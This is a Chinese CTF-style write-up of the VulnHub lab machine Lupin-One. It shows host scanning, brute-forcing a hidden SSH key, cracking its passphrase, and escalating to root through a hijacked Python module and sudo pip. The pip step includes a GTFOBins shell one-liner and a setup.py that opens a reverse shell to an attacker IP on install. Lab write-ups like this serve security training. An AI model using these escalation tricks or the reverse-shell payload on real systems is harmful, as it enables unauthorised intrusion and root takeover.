vulnhub靶机渗透 Lupin-One

Lupin-One靶机入侵

1、环境搭建

下载地址:https://www.vulnhub.com/entry/empire-lupinone,750/

​ 下载后用 VMware 或者 VirtualBox 打开,并配置好网卡,靶机与攻击机应置于同一网络下,靶机默认是桥接模式,能用攻击机连接到就行。这里连接到虚拟网卡1。

2、信息收集

  • 主机发现

    使用nmap进行主机探测(-sP参数也可):nmap -sn 192.168.80.1/24
    在这里插入图片描述

    192.168.80.140,为靶机ip,也可以使用Kali中的arp-scan工具扫描:arp-scan 192.168.80.1/24

  • 端口扫描

    使用nmap扫描主机服务、端口情况(-p-等价于-p 1-65535):nmap -p- -A 192.168.80.140
    在这里插入图片描述
    发现开启了22和80端口

  • web端进一步信息收集

    22端口可以尝试爆破,但这种靶机一般都能在找到线索。所以我们先对80端口进行信息收集。
    在这里插入图片描述

    初步发现网站采用Apache搭建,无其他信息

3、漏洞探测

  • 页面源代码
    在这里插入图片描述
    只有一句鼓励的话,没有提示

  • 目录扫描
    在这里插入图片描述
    对扫到的目录进行访问,在root.txt中找到线索
    在这里插入图片描述
    尝试访问/~myfiles,页面404
    在这里插入图片描述
    页面源代码中有一句鼓励话
    在这里插入图片描述
    将~加入到路径中,继续扫描目录
    在这里插入图片描述
    找到~secret,获得提示
    在这里插入图片描述

  • 爆破私钥文件

    私钥文件一般使用格式:txt、html、pub、cer、pem、der、key等等

    这里爆破使用burp,根据提示这个私钥可能是一个隐藏文件
    在这里插入图片描述

    成功找到私钥
    在这里插入图片描述

  • 破解私钥得到密码

    先判断私钥采用了扫描加密方法,得到结果base58的概率最大。https://www.dcode.fr/identification-chiffrement
    在这里插入图片描述
    base58解密后保存到mycer文件中
    在这里插入图片描述
    在这里插入图片描述

    使用ssh2john转换为txt文本:python /usr/share/john/ssh2john.py mycer >crack.txt
    在这里插入图片描述
    根据前文中的提示,使用这个字典爆破密码
    在这里插入图片描述
    在这里插入图片描述
    得到密码:P@55w0rd!
    在这里插入图片描述
    猜测用户应该是前面的提示留名:icex64

  • ssh登录

    登录失败,尝试xshell登录
    在这里插入图片描述
    登录成功
    在这里插入图片描述

4、提权

  • sudo -l查看可免密执行的具有root权限的命令
    在这里插入图片描述

  • 查看heist.py文件寻找线索
    在这里插入图片描述
    引用了webbrowser,找到该文件,跟进

    在脚本中添加这条命令,使用nano命令打开文件

    在这里插入图片描述

  • 执行命令提权到arsene用户
    在这里插入图片描述

  • 继续sudo -l查看

    在这里插入图片描述

    pip具有root权限

  • 提权到root

    提权辅助网站:https://gtfobins.github.io/

在这里插入图片描述

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

提权成功
在这里插入图片描述

  • 提权到root方法二

    通过反弹shell方式连接

    通过这种方式,会遇到权限问题,需要再"/home/arsene"目录下创建一个名为“setup.py”的文件

    nano setup.py
    写下如下脚本
    from setuptools import setup
    from setuptools.command.install import install
    import os, socket, subprocess
    
    class CustomInstall(install):
      def run(self):
        install.run(self)
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(("192.168.10.131",4444)) #此处是kali ip地址
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        p=subprocess.call(["/bin/sh","-i"])
    
    setup(name='FakePip',
          version='0.0.1',
          description='Reverse shell',
          url='xx.xx.xx.xx',
          author='nathan',
          author_email='xx@xx',
          license='MIT',
          zip_safe=False,
          cmdclass={'install': CustomInstall})
    
    

    kail中先开启监听:nc -lvvp

    执行命令:sudo pip install . --upgrade
    在这里插入图片描述

    接收到shell,提权成功
    在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值